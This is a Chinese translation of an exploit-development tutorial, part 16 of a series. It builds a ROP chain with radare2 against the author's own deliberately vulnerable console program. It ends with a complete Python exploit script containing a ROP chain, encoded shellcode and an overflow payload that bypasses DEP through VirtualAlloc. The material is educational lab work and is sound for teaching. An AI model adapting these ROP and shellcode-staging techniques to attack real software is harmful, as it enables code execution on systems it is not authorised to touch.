使用免费工具进行逆向和利用:第16部分

admin 2022年4月15日10:26:42使用免费工具进行逆向和利用:第16部分已关闭评论20 views字数 14700阅读49分0秒阅读模式

备注

原作者:Ricardo Narvaja

翻译作者:梦幻的彼岸

更新日期:2022年1月21日


在上一部分中,我把一个脚本放在一起,让我在返回地址处跳到一个我还没有建立的ROP,在这一部分中我将这样做。

让我们开始使用radare附带的gadget搜索器。这是我第一次使用它,但现在我们已经从前面的部分知道了如何使用RP++,有其他免费的替代品来做总是好的。

这些天,在最新的radare构建中,他们修复了附加的错误,如果你不知道如何找到最新的构建,请看本课程的第6部分,你可以安装它。

使用免费工具进行逆向和利用:第16部分

我打开一个控制台,开始练习。

r2 ConsoleApplication9.exe

然后我粘贴整个命令列表,以恢复到原来的方式(这是暂时的,直到他们修复项目的错误)。

r2 ConsoleApplication9.exe
idp ConsoleApplication9.pdb
aaa
afvb -1032 buffer int32_t @ 0x511040
afvb -8 pbuffer int32_t @ 0x511040
afvb -1 temp_char char @ 0x511040
s pdb._main
afn main
s pdb._f
afn f
eco bright
pdf

我需要使用GetModuleHandle或LoadLibrary来找到kernel32的基地址,然后用GetProcAddress来找到VirtualAlloc地址。

我用V进入了视觉模式。

我可以在按下:输入命令后,用 "ii "命令搜索导入的函数。

ii~GetP

ii~GetModuleH

使用免费工具进行逆向和利用:第16部分

以下是IAT中的地址。

同样在视觉模式下,直接用b键搜索更方便。

使用免费工具进行逆向和利用:第16部分

按 i

使用免费工具进行逆向和利用:第16部分

然后我会看到汇入特征的清单,上面有一个地方可以设定要筛选的部分名称。

使用免费工具进行逆向和利用:第16部分

使用免费工具进行逆向和利用:第16部分

大写字母是指与我输入的内容相符的字母,而不是说导入的函数名称是大写的。

要调用一个单参数的IAT函数,你应该寻找以下类型的gadgets

MOV r32, [r32 + const]
RET

要把功能地址从IAT移到一个寄存器上,我试着找找看

寻找RADARE GADGET

使用e.rop.len命令,我们可以看到我们当前对搜索进行了多长时间的查询,还可以对其进行查询。

e.rop.len =2

如果找不到要增加的osea 2指令的最小数量,则应始终先查找。

使用免费工具进行逆向和利用:第16部分

用引号括起来可以使搜索更加精确,我可以更精确地进行搜索,星号是一个通配符,从它开始,指令mov eax, dword可以以任何形式跟随。

"/R/ mov eax, dword*;ret"

我必须注意空格,语句中的逗号后总是会有空格,而分号后的语句之间不会有空格。

我们发现一个gadget 是

0x00520d34 8b4204 mov eax, dword [edx + 4]

0x00520d37 c3 ret

使用免费工具进行逆向和利用:第16部分

这个gadget需要我们先在EDX中输入我们已经搜索过0x523030的getmodulehandlew的IAT地址。

所以我们应该寻找一个pop edx -ret,把地址0x523030放在edx中。

使用免费工具进行逆向和利用:第16部分

我将使用0x0051fa0e

0x0051fa0e 5apop edx

0x0051fa0f c3 ret

注意:作为对脚本插图的注释,我忘了我已经换成了Python 2.7,所以现在的脚本是针对Python 2.7的,在教程的最后,我将把它适应于Python 3。

使用免费工具进行逆向和利用:第16部分

我必须记住,我不能使用0x40或0x10字符。

然后我必须设置GetModuleHandleW IAT的地址,它将进入EDX。

使用免费工具进行逆向和利用:第16部分

在不关闭我正在反转的控制台的情况下,我可以在同一文件夹中打开另一个cmd来测试radare调试器,看看我的gadget是如何做的。

测试Radare调试器

我首先运行了脚本

使用免费工具进行逆向和利用:第16部分

在另一个cmd atacheo radare中使用PID与如下代码

r2 -d PID.

使用免费工具进行逆向和利用:第16部分

使用免费工具进行逆向和利用:第16部分

按V! 进行可视化调试模式。

使用免费工具进行逆向和利用:第16部分

我将把一个断点放在第一个 gadget.

使用免费工具进行逆向和利用:第16部分

我按下g键,并输入我将放置断点的地址。

在视觉模式下,我点击地址并按下F2。

使用免费工具进行逆向和利用:第16部分

使用免费工具进行逆向和利用:第16部分

然后:和dc一起运行。

停在那里。

使用免费工具进行逆向和利用:第16部分

每次它停止时,我都按dc键几次,直到它停止运行,我可以点击MessageBoxA。

使用免费工具进行逆向和利用:第16部分

当你点击时。

使用免费工具进行逆向和利用:第16部分

我能用V!看到

使用免费工具进行逆向和利用:第16部分

如果我按f7和traceo, IAT地址将从GetModuleHandleW移动到EDX。

使用免费工具进行逆向和利用:第16部分

好吧,我们已经看到它是有效的,我们关闭它,回到静态分析,以寻找更多的 gadget

接下来是我们在0x00520d34发现的gadget,我们看到它在EDX上加了4,所以在EDX中传递的地址,我们必须减去4来弥补

使用免费工具进行逆向和利用:第16部分

使用免费工具进行逆向和利用:第16部分

我们已经在EAX中找到了GetModuleHandlew的地址,所以缺少参数。

由于函数的参数必须是宽格式的(结尾的W告诉我)。

使用免费工具进行逆向和利用:第16部分

使用免费工具进行逆向和利用:第16部分

我们看到,它不是我们需要的宽格式字符串。

使用免费工具进行逆向和利用:第16部分

在这里,我必须将kernel32.dll这个字符串以宽格式组装起来,为此我必须找到与此类似的gadget组合

pop eax
ret

pop esi
ret

mov [eax+const], esi
ret

让我们看看在这种风格中我们能找到什么。

使用免费工具进行逆向和利用:第16部分

这两个看起来很有趣。

使用免费工具进行逆向和利用:第16部分

使用免费工具进行逆向和利用:第16部分

"/R/ pop eax;ret"

使用免费工具进行逆向和利用:第16部分

"/R/ pop ecx;ret"

使用免费工具进行逆向和利用:第16部分

好了,这应该可以了,我会在GetModuleHandleW api调用之前把这个字符串放在一起。

rop=""
rop+=struct.pack("<L", 0x0051342a) # pop ecx-ret
rop+=struct.pack("<L", 0x0065006b) # k\x00\r\x00 (ke)
rop+=struct.pack("<L", 0x005220ef) # pop eax-ret
rop+=struct.pack("<L", 0x0052a080) # writable address
rop+=struct.pack("<L", 0x005116a1) # mov [eax+4],ecx -ret

rop+=struct.pack("<L", 0x0051342a) # pop ecx-ret
rop+=struct.pack("<L", 0x006e0072) # r\x00\n\x00 (rn)
rop+=struct.pack("<L", 0x005220ef) # pop eax-ret
rop+=struct.pack("<L", 0x0052a080 + 4) # writable address +4
rop+=struct.pack("<L", 0x005116a1) # mov [eax+4],ecx -ret

rop+=struct.pack("<L", 0x0051342a) # pop ecx-ret
rop+=struct.pack("<L", 0x006c0065) # e\x00\l\x00 (el)
rop+=struct.pack("<L", 0x005220ef) # pop eax-ret
rop+=struct.pack("<L", 0x0052a080 +8) # writable address +8
rop+=struct.pack("<L", 0x005116a1) # mov [eax+4],ecx -ret

rop+=struct.pack("<L", 0x0051342a) # pop ecx-ret
rop+=struct.pack("<L", 0x00320033) # 3\x00\2\x00 (32)
rop+=struct.pack("<L", 0x005220ef) # pop eax-ret
rop+=struct.pack("<L", 0x0052a080 +12) # writable address +12
rop+=struct.pack("<L", 0x005116a1) # mov [eax+4],ecx -ret

rop+=struct.pack("<L", 0x0051342a) # pop ecx-ret
rop+=struct.pack("<L", 0x0064002e) # .\x00\d\x00 (.d)
rop+=struct.pack("<L", 0x005220ef) # pop eax-ret
rop+=struct.pack("<L", 0x0052a080 +16) # writable address +16
rop+=struct.pack("<L", 0x005116a1) # mov [eax+4],ecx -ret

rop+=struct.pack("<L", 0x0051342a) # pop ecx-ret
rop+=struct.pack("<L", 0x006c006c) # l\x00\l\x00 (ll)
rop+=struct.pack("<L", 0x005220ef) # pop eax-ret
rop+=struct.pack("<L", 0x0052a080 +20) # writable address +20
rop+=struct.pack("<L", 0x005116a1) # mov [eax+4],ecx -ret

LLamar a GetModuleHandleW

rop+=struct.pack("<L", 0x0051fa0e) # pop edx-ret
rop+=struct.pack("<L", 0x00523030-4) # GetModuleHandleW
rop+=struct.pack("<L", 0x00520d34) # mov eax, [edx+4]-ret
rop+=struct.pack("<L", 0x0051252b) # call eax to GetModuleHandleW
rop+=struct.pack("<L", 0x0052a084) # string wide

我们看到它是如何在ECX中加载带有中间零的字符串kernel32.dll的字符,然后在EAX中放入它要保存的地址,然后调用指令将字符保存在目的地。

最后我调用GetModuleHandleW函数。

让我们看看它是否有效,我将攻击radare,但这次我将在EAX调用的0x0051252b处设置断点。

按g键,我用f2设置地址和断点。

使用免费工具进行逆向和利用:第16部分

使用免费工具进行逆向和利用:第16部分

使用免费工具进行逆向和利用:第16部分

使用免费工具进行逆向和利用:第16部分

我停在那里并看着堆栈

pxr @esp~..

使用免费工具进行逆向和利用:第16部分

我用f8来传递调用

而我在EAX中拥有kernel32的基地址,第一个目标已经完成了。

使用免费工具进行逆向和利用:第16部分

使用菜单中的view-HEXDUMP并在该选项卡上按G键,键入EAX并向我显示对应于kernel32.dl基地址的MZ。

现在我们必须调用GetProcAddress,这是一个有两个参数的函数,这使事情变得有点复杂,一个是我们刚刚找到的基地址,另一个是有VirtualAlloc函数名称的字符串。

在我们继续之前,我们把基地址保存到一个固定的地址上,这样我们就可以用它来工作,以后在使用寄存器的时候就可以不踩到它了。

我将使用我发现的这个gadget,因为我有基地址要保存在EAX中。

使用免费工具进行逆向和利用:第16部分

使用免费工具进行逆向和利用:第16部分

我保存了这些改动,并运行了脚本。

我把断点放进去

使用免费工具进行逆向和利用:第16部分

然后输入dc直到它停止。

使用免费工具进行逆向和利用:第16部分

EAX有基地址,ECX+0x10是保存目的地0x52a070,用f8传递。

使用免费工具进行逆向和利用:第16部分

用G键输入ECX+0x10,我们就能看到保存的地址。

使用免费工具进行逆向和利用:第16部分

如果我们想暂时改变看到HEXDUMP的方式,可以先按:,然后只按V,不按!

使用免费工具进行逆向和利用:第16部分

在这种模式下,您可以使用选项卡切换显示形状。

使用免费工具进行逆向和利用:第16部分

那么现在我们必须找到一种方法来调用一个有两个参数的函数。

例如,它可能是这样的:

push r32
push r32
call r32

或者属于以下类型

push r32
push r32
call [r32+const]

让我们把长度改为3

e.rop.len =3

利用

使用免费工具进行逆向和利用:第16部分

使用免费工具进行逆向和利用:第16部分

圆点是一个单一位置的通配符。

与我们拼凑kernel32字符串的方式相同,我们可以拼凑VirtualAlloc字符串,只是现在它不会是宽格式,只是ascII,因为GetProcAddress需要这些类型的参数。

使用免费工具进行逆向和利用:第16部分

让我们运行它并在0x00518e00中设置一个断点。当保存基地址时停止。

使用免费工具进行逆向和利用:第16部分

我继续用f8进行追踪。

使用免费工具进行逆向和利用:第16部分

我选择了一个不全是零的区域,这样我就不必把最后的零放进去,我把目的地移到一个空的区域。

使用免费工具进行逆向和利用:第16部分

我选择0x52a3e4

使用免费工具进行逆向和利用:第16部分

回顾一下,当它加到4时,字符串的最终地址将是0x52a3e8。

使用免费工具进行逆向和利用:第16部分

现在好多了。

我们已经有了字符串和基地址,现在我们必须调用GetProcAddress。

搜索时可以找到的其他可能性是。比如说:仅搜索push eax或ebx。

使用免费工具进行逆向和利用:第16部分

这比可能是任何字符的点更准确。

测试时我还发现,支架把它当作覆盖5个地方,谁知道为什么呢,嘿嘿。由于点是空格的通配符,而{5}是指它重复5次,嗯,这就是它的作用。

使用免费工具进行逆向和利用:第16部分

它与此相同

使用免费工具进行逆向和利用:第16部分

要搜索多个命令,请将语句括在引号中。

使用免费工具进行逆向和利用:第16部分

使用免费工具进行逆向和利用:第16部分

回到练习,那 gadget 看起来不错,我们会看到的。

使用免费工具进行逆向和利用:第16部分

回到一个RET附近,这让我更容易回来。

使用免费工具进行逆向和利用:第16部分

让我们把这些放在一起,一步一步地,我们将首先把基地址转移到ESI。

使用免费工具进行逆向和利用:第16部分

实际上并不是0x52b174这个值移动到ESI,因为我计算了这个值固定的地址,而且我之前在那里保存图像基数时踩到了这个值,所以直接移动到ESI比较容易,因为ESI没有很多gadget。

使用免费工具进行逆向和利用:第16部分

在EBP中,我将IAT的地址从GetProcAddress-8中移出,因为当我调用它时,gadget会增加8,所以我进行了弥补。

使用免费工具进行逆向和利用:第16部分

让我们看看它是否看起来很好。

我们有一个问题

当我们边做边写;

问题出现了,当我们解决这些问题时,我们也会把它们写下来。

一般来说,一切都进行得比较顺利,直到它开始变得相对糟糕,嘿嘿,这就发生在这里。

问题是,它崩溃了,因为它太长了,溢出了堆栈,所以我们将不得不看看我们将如何做。

一种可能性是回到函数f的循环,输入更多的数据,但我不知道是谁(我自己)编的这个程序(嘿嘿),我们应该回去的地址有一个0x10,嘿嘿。

使用免费工具进行逆向和利用:第16部分

经历了很多困难

嘿嘿,真是个坏东西,好吧,让我们避开所有的障碍,不管是什么。

ROP接收更多的字符的第一部分是这样的,我现在解释一下。

使用免费工具进行逆向和利用:第16部分

重要的部分是标为红色的那块,我之前添加的另外两块是需要调整返回的,我稍后会解释,当我完成这块时,你会看到为什么我必须添加这两块。

我们在这个块中所做的是在rop中发送我们想要跳转否认的地址,然后我们把它移到EAX。

使用免费工具进行逆向和利用:第16部分

当我们发送Negada时,我们再次拒绝它以恢复原值。

使用免费工具进行逆向和利用:第16部分

我们这样做是为了避免它的无效的0x10字符,因为这样的0x10不是在ROP中发送的,而是在运行时生成的。然后在EBP中,我们把数据部分的可写地址(上面的同一个小工具有一个POP EBP,允许我们这样做),这样它在循环时就不会中断。

我们将 xchg 跳转到 ebx 的地址。

使用免费工具进行逆向和利用:第16部分

使用免费工具进行逆向和利用:第16部分

然后调用EBX进行跳转。

使用免费工具进行逆向和利用:第16部分

我将在X64 dbg中追踪它,使其更加明显。

使用免费工具进行逆向和利用:第16部分

我们现在在那里追踪重要的区块。

POP地址拒绝到EAX。

使用免费工具进行逆向和利用:第16部分

让我们把 eax 放在 ebp 上,我们把数据部分的地址放在一起。

使用免费工具进行逆向和利用:第16部分

EAX已经有了我们想跳过的地址,我们把xchg设置为ebx。

使用免费工具进行逆向和利用:第16部分

我们跳

使用免费工具进行逆向和利用:第16部分

使用免费工具进行逆向和利用:第16部分

我们回到了循环,但由于所有的东西都是相对于EBP的,而且它指向了数据部分,最后会写一个新的数据序列,直到它找到一个0x40或0x10。

使用免费工具进行逆向和利用:第16部分

这将被储存在数据部分。

使用免费工具进行逆向和利用:第16部分

一直循环直到找到0x40.

使用免费工具进行逆向和利用:第16部分

然后用您添加的rop1 +rop2填充,问题是返回,所以请在编写POP ESP之前添加这两个块,并添加我的新数据的起始地址,以便您可以继续从那里进行抓取。

使用免费工具进行逆向和利用:第16部分

使用免费工具进行逆向和利用:第16部分

问题是,我现在还在追踪,而且我会找到POP ESP。

使用免费工具进行逆向和利用:第16部分

现在,当您运行该堆栈时,它将保留您输入的新数据,以便继续收集。

然后我添加了我们已经做过的ROP部分,但现在有了空间。

它将保存字符串VirtualAlloc和基地址,并到达GetProcAddress获取VirtualAlloc base。

使用免费工具进行逆向和利用:第16部分

这些论点都很好,让我们看看它跳到哪里去了。

使用免费工具进行逆向和利用:第16部分

让我们继续讨论f8。

使用免费工具进行逆向和利用:第16部分

而现在我们有了最难的部分,那就是VirtualAlloc地址和空间,以创建更多的rops来调用它。

我看到这个gadget.

使用免费工具进行逆向和利用:第16部分

使用免费工具进行逆向和利用:第16部分

我将用它直接跳到在EAX中的VirtualAlloc,但并不是所有的东西都是快乐的,作者(也就是我自己苦呵呵)把0x40和0x10作为无效字符,但在VirtualAlloc的参数中都需要(0x40和0x1000),呵呵。

使用免费工具进行逆向和利用:第16部分

我将使用这个。

使用免费工具进行逆向和利用:第16部分

使用免费工具进行逆向和利用:第16部分

所有的 gadget都有0x40个参数,这些参数都是为了得到第二个ROP。

使用免费工具进行逆向和利用:第16部分

你必须非常小心,因为地址保存在同一堆栈的确切位置,如果你在开始时添加gadge,你必须移动这些地址,例如,在这里,我在开始时添加8个gadge来放置0x40。

使用免费工具进行逆向和利用:第16部分

它将0x3f移动到eax,然后将其增加1,然后将其保存在VirtualAlloc参数所在的位置。

在开始时添加gadget意味着调整另一个保存在固定地址的值,即基本图像的值,因为我们添加了8个gadget,所以必须运行32个字节。

使用免费工具进行逆向和利用:第16部分

使用免费工具进行逆向和利用:第16部分

有一个JMP EAX,它有正确的参数,我把0放在地址上,这样我就可以分配一个新的节,因为它不允许我对数据节授予VirtualAlloc权限,所以我必须使用VirtualProtect。

使用免费工具进行逆向和利用:第16部分

我在EAX上分配了一个具有执行权限的新分区,并保留了地址,我将在那里复制我的数据来执行它们。

使用免费工具进行逆向和利用:第16部分

我们将使用这个gadget 来复制源将在ESI中,目标将在EDI中,在ECX中复制大小。

我们从JMP EAX返回到POP ESI-POP EBP-RET

使用免费工具进行逆向和利用:第16部分

使用免费工具进行逆向和利用:第16部分

使用免费工具进行逆向和利用:第16部分

当我们看到pop-esi时,我们移动它将在新分配部分的eax中保存值的地址。

然后我们把你要写的尺寸移到ECX上。

使用免费工具进行逆向和利用:第16部分

保存ESI内容中EAX中已分配部分的地址。

使用免费工具进行逆向和利用:第16部分

使用免费工具进行逆向和利用:第16部分

有了POP ESI,我就能得到SOURCE,EBP也就无所谓了。

使用免费工具进行逆向和利用:第16部分

有了POP EDI,他就有了复制到那里的目的地,步进到0x909090。

使用免费工具进行逆向和利用:第16部分

使用免费工具进行逆向和利用:第16部分

我们在 esi 中找到了源头,目标是在EDI和ECX中分配的部分大小,我们用 reps mov 复制。

使用免费工具进行逆向和利用:第16部分

使用POP EAX,我们将已分配部分的地址设置为固定地址,然后跳过调用[EAX-0x18]

使用免费工具进行逆向和利用:第16部分

运行不同的shellcode

我跳到我的shellcode,为了改变,我把shellcode改为显示MessageBoxA。

使用免费工具进行逆向和利用:第16部分

在执行shellcode之前,我恢复了堆栈,以避免问题。

mov esp, dword ptr fs:[0x00000000]

使用免费工具进行逆向和利用:第16部分

如果我跟踪它,它就会解压缩。

使用免费工具进行逆向和利用:第16部分

最后到了EAX的调用,它跳到了MessageBoxA。

使用免费工具进行逆向和利用:第16部分

32位的练习就这样结束了,它进行了相当大的斗争,我们还有64位的版本,希望它不会那么难,嘿嘿

PYTHON 3最终解决方案脚本

以下是Python 3的最终修复代码

```python

!/usr/bin/env python

-- coding: utf-8 --

import sys
from subprocess import Popen, PIPE
import struct
import sys
import codecs
import random
import string

shellcode= b"\x64\x8B\x25\x00\x00\x00\x00"
shellcode +=b"\xb8\xe0\x20\xa7\x98\xdb\xd1\xd9\x74\x24\xf4\x5a\x29\xc9\xb1"
shellcode +=b"\x42\x31\x42\x12\x83\xc2\x04\x03\xa2\x2e\x45\x6d\xfb\xc4\x12"
shellcode +=b"\x57\x8f\x3e\xd1\x59\xbd\x8d\x6e\xab\x88\x96\x1b\xba\x3a\xdc"
shellcode +=b"\x6a\x31\xb1\x94\x8e\xc2\x83\x50\x24\xaa\x2b\xea\x0c\x6b\x64"
shellcode +=b"\xf4\x05\x78\x23\x05\x37\x81\x32\x65\x3c\x12\x90\x42\xc9\xae"
shellcode +=b"\xe4\x01\x99\x18\x6c\x17\xc8\xd2\xc6\x0f\x87\xbf\xf6\x2e\x7c"
shellcode +=b"\xdc\xc2\x79\x09\x17\xa1\x7b\xe3\x69\x4a\x4a\x3b\x75\x18\x29"
shellcode +=b"\x7b\xf2\x67\xf3\xb3\xf6\x66\x34\xa0\xfd\x53\xc6\x13\xd6\xd6"
shellcode +=b"\xd7\xd7\x7c\x3c\x19\x03\xe6\xb7\x15\x98\x6c\x9d\x39\x1f\x98"
shellcode +=b"\xaa\x46\x94\x5f\x44\xcf\xee\x7b\x88\xb1\x2d\x31\xb8\x18\x66"
shellcode +=b"\xbf\x5d\xd3\x44\xa8\x13\xaa\x46\xc5\x79\xdb\xc8\xea\x82\xe4"
shellcode +=b"\x7e\x51\x78\xa0\xff\x82\x62\xa5\x78\x2e\x46\x18\x6f\xc1\x79"
shellcode +=b"\x63\x90\x57\xc0\x94\x07\x04\xa6\x84\x96\xbc\x05\xf7\x36\x59"
shellcode +=b"\x01\x82\x35\xc4\xa3\xe4\xe6\x22\x49\x7c\xf0\x7d\xb2\x2b\xf9"
shellcode +=b"\x08\x8e\x84\xba\xa3\xac\x68\x01\x34\xac\x56\x2b\xd3\xad\x69"
shellcode +=b"\x34\xdc\x45\xce\xeb\x03\xb5\x86\x89\x70\x86\x30\x7f\xac\x60"
shellcode +=b"\xe0\x5b\x56\xf9\xfa\xcc\x0e\xd9\xdc\x2c\xc7\x7b\x72\x55\x36"
shellcode +=b"\x13\xf8\xcd\x5d\xc3\x68\x5e\xf1\x73\x49\x6f\xc4\xfb\xc5\xab"
shellcode +=b"\xda\x72\x34\x82\x30\xd6\xe4\xb4\xe6\x29\xda\x06\xc7\x85\x24"
shellcode +=b"\x3d\xcf"

build string Kernel32 wide

rop=b""

rop+=struct.pack("<L", 0x0051342a) # pop ecx-ret
rop+=struct.pack("<L", 0x0051FB25) # POP ESP
rop+=struct.pack("<L", 0x005220ef) # pop eax-ret
rop+=struct.pack("<L", 0x52b490) #writable address
rop+=struct.pack("<L", 0x005116a1) # mov [eax+4],ecx -ret

rop+=struct.pack("<L", 0x0051342a) # pop ecx-ret
rop+=struct.pack("<L", 0x52b088) # nuevo stack
rop+=struct.pack("<L", 0x005220ef) # pop eax-ret
rop+=struct.pack("<L", 0x52b494) #writable address
rop+=struct.pack("<L", 0x005116a1) # mov [eax+4],ecx -ret

rop+=struct.pack("<L", 0x005220ef) # pop eax-ret
rop+=struct.pack("<L", 0xFFAEEFB7) # direccin a volver negada
rop+=struct.pack("<L", 0x005184e4) # NEG EAX
rop+=struct.pack("<L", 0x0052b490) # A EBP
rop+=struct.pack("<L", 0x00519de4) # XCHG EBX,EAX
rop+=struct.pack("<L", 0x0051ea8b) # call ebx

rop1=b""
rop1+=struct.pack("<L", 0x0051342a) # pop ecx-ret
rop1+=struct.pack("<L", 0x0065006b) # k\x00\r\x00 (ke)
rop1+=struct.pack("<L", 0x005220ef) # pop eax-ret
rop1+=struct.pack("<L", 0x0052a080) # writable address
rop1+=struct.pack("<L", 0x005116a1) # mov [eax+4],ecx -ret

rop1+=struct.pack("<L", 0x0051342a) # pop ecx-ret
rop1+=struct.pack("<L", 0x006e0072) # r\x00\n\x00 (rn)
rop1+=struct.pack("<L", 0x005220ef) # pop eax-ret
rop1+=struct.pack("<L", 0x0052a080 + 4) # writable address +4
rop1+=struct.pack("<L", 0x005116a1) # mov [eax+4],ecx -ret

rop1+=struct.pack("<L", 0x0051342a) # pop ecx-ret
rop1+=struct.pack("<L", 0x006c0065) # e\x00\l\x00 (el)
rop1+=struct.pack("<L", 0x005220ef) # pop eax-ret
rop1+=struct.pack("<L", 0x0052a080 +8) # writable address +8
rop1+=struct.pack("<L", 0x005116a1) # mov [eax+4],ecx -ret

rop1+=struct.pack("<L", 0x0051342a) # pop ecx-ret
rop1+=struct.pack("<L", 0x00320033) # 3\x00\2\x00 (32)
rop1+=struct.pack("<L", 0x005220ef) # pop eax-ret
rop1+=struct.pack("<L", 0x0052a080 +12) # writable address +12
rop1+=struct.pack("<L", 0x005116a1) # mov [eax+4],ecx -ret

rop1+=struct.pack("<L", 0x0051342a) # pop ecx-ret
rop1+=struct.pack("<L", 0x0064002e) # .\x00\d\x00 (.d)
rop1+=struct.pack("<L", 0x005220ef) # pop eax-ret
rop1+=struct.pack("<L", 0x0052a080 +16) # writable address +16
rop1+=struct.pack("<L", 0x005116a1) # mov [eax+4],ecx -ret

rop1+=struct.pack("<L", 0x0051342a) # pop ecx-ret
rop1+=struct.pack("<L", 0x006c006c) # l\x00\l\x00 (ll)
rop1+=struct.pack("<L", 0x005220ef) # pop eax-ret
rop1+=struct.pack("<L", 0x0052a080 +20) # writable address +20
rop1+=struct.pack("<L", 0x005116a1) # mov [eax+4],ecx -ret

call to GetModulehandleW

rop1+=struct.pack("<L", 0x0051fa0e) # pop edx-ret
rop1+=struct.pack("<L", 0x00523030-4) # GetModuleHandleW
rop1+=struct.pack("<L", 0x00520d34) # mov eax, [edx+4]-ret
rop1+=struct.pack("<L", 0x0051252b) # call eax to GetModuleHandleW
rop1+=struct.pack("<L", 0x0052a084) # string wide

Store Address

rop1+=struct.pack("<L", 0x0051342a) # pop ecx-ret
rop1+=struct.pack("<L", 0x0052b174 - 0x10 + (8 * 4) ) # writable address to Kernel32 imagebase 0x0052b174
rop1+=struct.pack("<L", 0x00518e00) # mov [ecx+0x10], eax -ret

rop2=b""

colocar el 0x40

rop2+=struct.pack("<L", 0x005220ef) # pop eax-ret
rop2+=struct.pack("<L", 0x3f) # 0x3f
rop2+=struct.pack("<L", 0x00511649) # inc eax
rop2+=struct.pack("<L", 0x00513255) # pop edi-ret
rop2+=struct.pack("<L", 0x52b1a7 + 20 + 0xc) # donde colocare el 40
rop2+=struct.pack("<L", 0x5129df) # aca lo hace
rop2+=struct.pack("<L", 0x90909090) # padding
rop2+=struct.pack("<L", 0x90909090) # padding

Build string VirtualAlloc

rop2+=struct.pack("<L", 0x0051342a) # pop ecx-ret
rop2+=struct.pack("<L", 0x74726956) # Virt
rop2+=struct.pack("<L", 0x005220ef) # pop eax-ret
rop2+=struct.pack("<L", 0x52a3e4) # writable address
rop2+=struct.pack("<L", 0x005116a1) # mov [eax+4],ecx -ret

rop2+=struct.pack("<L", 0x0051342a) # pop ecx-ret
rop2+=struct.pack("<L", 0x416C6175) # ualA
rop2+=struct.pack("<L", 0x005220ef) # pop eax-ret
rop2+=struct.pack("<L", 0x52a3e4 + 4) # writable address +4
rop2+=struct.pack("<L", 0x005116a1) # mov [eax+4],ecx -ret

rop2+=struct.pack("<L", 0x0051342a) # pop ecx-ret
rop2+=struct.pack("<L", 0x636F6C6C) # lloc
rop2+=struct.pack("<L", 0x005220ef) # pop eax-ret
rop2+=struct.pack("<L", 0x52a3e4 +8) # writable address +8
rop2+=struct.pack("<L", 0x005116a1) # mov [eax+4],ecx -ret

rop2+=struct.pack("<L", 0x00513255) # pop edi-ret
rop2+=struct.pack("<L", 0x52a3e8) # Virtual Alloc address
rop2+=struct.pack("<L", 0x0051fa0e) # pop edx-ret
rop2+=struct.pack("<L", 0x0052a060 + 0x10-4) # stored image base
rop2+=struct.pack("<L", 0x00520d34) # mov eax, [edx-4] en EAX ya tenemos la image base

rop2+=struct.pack("<L", 0x511398) # pop esi -pop ebp-ret
rop2+=struct.pack("<L", 0x52b174) # stored image base
rop2+=struct.pack("<L", 0x52306c -8) # GetProcAddress IAT resto 8 para compensar
rop2+=struct.pack("<L", 0x515002) # call to GetProcAddress
rop2+=struct.pack("<L", 0x90909090) # padding
rop2+=struct.pack("<L", 0x90909091) # padding
rop2+=struct.pack("<L", 0x90909092) # padding
rop2+=struct.pack("<L", 0x90909093) # padding

rop2+=struct.pack("<L", 0x512975) # JMP EAX
rop2+=struct.pack("<L", 0x41424344) # pad
rop2+=struct.pack("<L", 0x511398) # retorno a pop esi-pop ebp-ret
rop2+=struct.pack("<L", 0x0) # cualquier address
rop2+=struct.pack("<L", 0x2000) # size
rop2+=struct.pack("<L", 0x3000) # allocar nueva seccin
rop2+=struct.pack("<L", 0x0) # padding (aca guardara el 0x40)
rop2+=struct.pack("<L", 0x0052B1EC) # aca guardara la direccin escribible que ira a ESI
rop2+=struct.pack("<L", 0x90909093) # padding
rop2+=struct.pack("<L", 0x0051342a) # pop ecx-ret
rop2+=struct.pack("<L", 0x00400) # size a copiar a ECX
rop2+=struct.pack("<L", 0x0051c8cf) # mov [esi], eax - POP ESI-POP EBP
rop2+=struct.pack("<L", 0x0052B208) # source a ESI
rop2+=struct.pack("<L", 0x90909090) # A EBP
rop2+=struct.pack("<L", 0x00513255) # pop edi-ret
rop2+=struct.pack("<L", 0x90909090) # Aqu guardar la direccin allocada que est en EAX.
rop2+=struct.pack("<L", 0x51279e) #reps movs
rop2+=struct.pack("<L", 0x90909090)
rop2+=struct.pack("<L", 0x90909090)
rop2+=struct.pack("<L", 0x005220ef) # pop eax-ret
rop2+=struct.pack("<L", 0x0052b1ec + 0x18) # aqui esta guardada la direccion allocada
rop2+=struct.pack("<L", 0x0051e38f) # call [EAX -0x18] saltar a la seccin nueva

payload = b"B" * 1024 + b"\x17" + 8* b"B"+ rop + b"ABCDEFG" + b"\x40" + rop1+ rop2 + shellcode + b"A" * 500+ b"\x40"

p1 = Popen(r"ConsoleApplication9.exe", stdin=PIPE)

print("PID: %s" %hex(p1.pid))
print("Enter para continuar")
p1.communicate(payload)
p1.wait()
```

呼,这让我出了一身汗。

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年4月15日10:26:42
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   使用免费工具进行逆向和利用:第16部分http://cn-sec.com/archives/913067.html